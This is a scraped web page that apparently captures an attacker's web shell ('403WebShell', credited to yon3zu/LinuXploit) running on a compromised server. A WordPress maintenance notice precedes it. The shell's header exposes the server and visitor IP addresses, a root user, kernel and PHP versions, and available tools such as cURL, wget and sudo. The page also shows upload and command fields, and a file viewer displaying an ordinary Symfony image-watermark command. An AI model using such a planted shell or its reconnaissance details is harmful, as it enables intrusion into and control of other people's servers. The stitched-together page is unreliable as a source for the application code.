WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.217.126
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/src/Command/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/src/Command/RegeneratePreviewCommand.php
<?php

namespace App\Command;

use App\Entity\Stock;
use App\Repository\StockRepository;
use App\Service\ImageHelper;
use Doctrine\ORM\EntityManagerInterface;
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;
use Symfony\Component\Console\Style\SymfonyStyle;
use Symfony\Component\DependencyInjection\ParameterBag\ParameterBagInterface;
use Symfony\Component\Filesystem\Exception\IOException;
use Symfony\Component\Filesystem\Filesystem;

class RegeneratePreviewCommand extends Command
{
    private $em;
    private $parameterBag;
    private $imageHelper;
    public function __construct(EntityManagerInterface $em, ParameterBagInterface $parameterBag, ImageHelper $imageHelper)
    {
        parent::__construct();
        $this->em = $em;
        $this->parameterBag = $parameterBag;
        $this->imageHelper = $imageHelper;
    }

    protected static $defaultName = 'app:regenerate-preview';

    protected function configure()
    {
        $this
            ->setDescription('Regenerate preview adding a smaller watermark')
            ->addOption('start', null, InputOption::VALUE_OPTIONAL, 'Start id - Not sura id')
            ->addOption('end', null, InputOption::VALUE_OPTIONAL, 'End id - Not sura id')
        ;
    }

    protected function execute(InputInterface $input, OutputInterface $output): int
    {
        $io = new SymfonyStyle($input, $output);
        $start = $input->getOption('start');
        $end = $input->getOption('end');

        /**@var $stockRepo StockRepository **/
        $stockRepo = $this->em->getRepository(Stock::class);
        $stocks = null;

        if ($start && $end){
            $stocks = $stockRepo->createQueryBuilder('s')
                ->where('s.id >= :start')
                ->andWhere('s.id <= :end')
                ->setParameters(['start' => $start, 'end' => $end])
                ->getQuery()
                ->getResult();
        }elseif ($start && !$end){
            $stocks = $stockRepo->createQueryBuilder('s')
                ->where('s.id >= :start')
                ->setParameters(['start' => $start])
                ->getQuery()
                ->getResult();
        }elseif ($end && !$start){
            $stocks = $stockRepo->createQueryBuilder('s')
                ->where('s.id <= :end')
                ->setParameters(['end' => $end])
                ->getQuery()
                ->getResult();
        }else{
            $stocks = $stockRepo->findAll();
        }

        $fileSystem = new Filesystem();
        foreach ($stocks as $stock){
            if ($stock->getType()->getId() == 4){
                $largeImgPath = $stock->getLargeImagePath();
                $prevPath = $this->parameterBag->get('stock_directory').DIRECTORY_SEPARATOR.$stock->getPreviewName();



                if (is_file($largeImgPath)){
                    $io->note(sprintf('Regenerating :%s - %s', $stock->getSuraID(), $stock->getTitle()));

//                    $largeFile = new \SplFileObject($largeImgPath);

                    try {
                        $fileSystem->remove($prevPath);
                        $io->note(sprintf('Removed preview :%s - %s', $stock->getSuraID(), $stock->getTitle()));

                        //regenerate prev
                        $success = $this->imageHelper->resizePreviewWaterMark($stock);
                        if ($success){
                            $io->note(sprintf('Preview watermark reset'));
                        }else{
                            $io->error(sprintf('Could not find file %s',$stock->getLargeImagePath()));
                        }
                    }catch (IOException $exception){
                        $io->error($exception->getMessage());
                    }

                }else{
                    $io->error(sprintf('Could not find image for :%s - %s', $stock->getSuraID(), $stock->getTitle()));
                }
            }
        }

        $io->success('You have a new command! Now make it your own! Pass --help to see your options.');

        return 0;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit